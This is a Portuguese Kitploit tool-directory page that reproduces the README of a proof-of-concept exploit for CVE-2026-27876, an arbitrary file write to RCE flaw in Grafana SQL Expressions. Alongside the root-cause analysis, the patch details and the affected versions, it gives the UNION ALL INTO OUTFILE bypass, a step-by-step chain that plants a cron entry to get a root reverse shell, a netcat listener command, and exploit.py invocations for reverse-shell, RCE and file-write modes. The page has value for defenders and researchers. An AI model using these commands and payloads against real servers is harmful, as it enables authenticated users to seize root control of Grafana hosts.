Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27876 — Grafana Expressões SQL Escrita Arbitrária de Arquivo para RCE | Kitploit
Ferramentas/GitHubGitHub/atiilla/cve-2026-27876
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubatiilla/cve-2026-27876

CVE-2026-27876

Grafana Expressões SQL Escrita Arbitrária de Arquivo para RCE

Ver Repositório
há 0 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-27876: Grafana SQL Expressions Gravação Arbitrária de Arquivos para RCE

CVSS 9.1 Crítico | Gravação Arbitrária de Arquivos | Execução Remota de Código

Demonstração

https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56

Resumo

O recurso SQL Expressions do Grafana (alternância sqlExpressions) usa um mecanismo SQL em processo (dolthub/go-mysql-server) com uma lista de permissões AST defeituosa. O nó SetOp (UNION ALL) passa na validação e seu walkSubtree() não percorre o filho Into — permitindo que INTO OUTFILE grave arquivos arbitrários no sistema de arquivos do servidor como o usuário do processo Grafana.

Qualquer usuário autenticado (função Viewer ou superior) pode encadear isso para RCE completa via reverse shell baseado em cron.

Versões Afetadas

FaixaAfetadasCorrigidas
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2

Requer que a alternância do recurso sqlExpressions esteja habilitada.

Causa Raiz

Duas falhas combinadas em pkg/expr/sql/:

  1. parser_allow.go: allowedNode() usa um retorno nomeado b = true. O caso *sqlparser.SetOp retorna true (permitido), e SetOp.walkSubtree() NÃO percorre o nó filho Into. Isso significa que UNION ALL ... INTO OUTFILE contorna a lista de permissões completamente.

  2. db.go: O contexto do mecanismo SQL é criado sem WithDisableFileWrites(true), então INTO OUTFILE grava no disco.

Sintaxe de Contorno

root@kitploit:~
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

Um único (SELECT ...) INTO OUTFILE produz um nó ParenSelect que É bloqueado. Duas ou mais partes SELECT unidas com UNION ALL produzem um nó SetOp que contorna a verificação.

Cadeia de Exploração

root@kitploit:~
1. Autenticar (função Viewer é suficiente)
2. POST /api/ds/query com datasource __expr__, tipo "sql"
3. UNION ALL INTO OUTFILE grava script de reverse shell em /tmp/
4. Segunda gravação coloca entrada de cron em /etc/crontabs/root
5. Cron dispara em até 60 segundos -> reverse shell como root

Uso

Configuração do Laboratório

root@kitploit:~
cd lab/
docker compose up -d
# Aguarde o Grafana ficar saudável (~15s)

O Grafana roda em http://localhost:3333 com credenciais admin:admin.

Executar Exploit

Terminal 1 — Listener:

root@kitploit:~
nc -lvnp 4444

Terminal 2 — Exploit:

root@kitploit:~
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

O reverse shell chega em até 60 segundos.

Outros Modos

root@kitploit:~
# Verificar se o alvo é vulnerável (sem gravações)
python3 exploit.py -t http://TARGET:3000 --check

# Gravar arquivo arbitrário
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# Gravar arquivo local no alvo
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# RCE via provisionamento de datasource (sem necessidade de cron)
python3 exploit.py -t http://TARGET:3000 --rce

Limpeza

root@kitploit:~
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

Para reexecutar o exploit após uma execução anterior, limpe primeiro — INTO OUTFILE não pode sobrescrever arquivos existentes.

Correção

Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):

  1. parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go: case *sqlparser.Into: return v == nil
  3. db.go: mysql.WithDisableFileWrites(true)

Arquivos

root@kitploit:~
.
├── README.md
├── analysis.md              # Análise completa da causa raiz
├── lab/
│   ├── docker-compose.yml   # Laboratório Grafana 12.4.0 (confirmado)
│   ├── Dockerfile           # Imagem personalizada com suporte a cron
│   ├── entrypoint.sh        # Inicia crond + Grafana
│   └── setup.sh             # Script de configuração automática
└── poc/
    ├── exploit.py           # PoC completo com RCE
    └── cvss-justification.md

Referências

  • Correção: https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
  • PR: https://github.com/grafana/grafana/pull/121514
  • Aviso: https://grafana.com/security/security-advisories/cve-2026-27876/

Aviso Legal

Para pesquisa de segurança autorizada e testes de laboratório controlados apenas. Não use contra sistemas sem permissão explícita.

Baixar ferramenta